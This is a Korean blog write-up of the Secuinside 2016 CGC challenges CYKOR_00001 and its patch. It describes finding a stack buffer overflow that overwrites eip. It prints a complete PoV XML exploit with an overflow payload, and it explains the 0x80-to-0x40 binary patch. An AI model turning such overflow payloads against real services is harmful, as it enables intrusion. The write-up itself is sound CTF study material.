본문 바로가기

0x400 CTF/0x402 Secuinside 2016

[CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts



문제에 대한 정보이다.


이 문제는 CGC이며 https://github.com/CyberGrandChallenge 에서 정보를 얻을 수 있었다.


CYKOR_00001은 cykor_00001파일에 대한 취약점을 PoV로 만들어 서버에 보내는 문제이다.

CYKOR_00001_patch는 cykor_00001파일에 대한 취약점을 패치한 파일을 서버에 보내는 문제이다.


IDA를 통해 분석한 결과, What is your message?다음에 H4PPY_S3CUINSID3라는 문자열이 나오는지 체크 한 후

+ Are you serious? 다음에 문자열을 입력 받는다.


조건에 맞춰 긴 문자열을 입력할 시 다음과 같은 segmentation fault가 일어남을 확인하였고, gdb를 통해 디버깅한 결과 eip가 덮어져 bof취약점이 있음을 확인하였다.




이를 토대로 만든 PoV파일은 다음과 같다.

<!-- CYKOR_00001.PoV -->

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE pov SYSTEM "/usr/share/cgc-docs/replay.dtd">
<pov>
<cbid>CYKOR_00001</cbid>
<replay>
    <read echo="yes"><delim>\x0a</delim><match><data>What is your message?\x0a</data></match></read>
    <write echo="yes"><data>H4PPY_S3CUINSID3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGG111122223333444455556666777788889900001111\x0a</data>
    </write>
<read><length>1</length></read>
</replay>
</pov>

이를 서버에 전송하여 CYKOR_00001의 flag를 얻었다.


위에서 찾은 bof발생 지점이 0x80사이즈 만큼 가져오기에 일어나는데 이를 0x40로 바이너리 패치하여 서버에 보내주면 CYKOR_00002_patch의 flag를 얻을 수 있다.


현재 서버가 닫혀서 사진을 구할 수가 없다.

'0x400 CTF > 0x402 Secuinside 2016' 카테고리의 다른 글

Secuinside 2016 후기  (0) 2016.07.13
[Web] trendyweb - 100pts  (0) 2016.07.13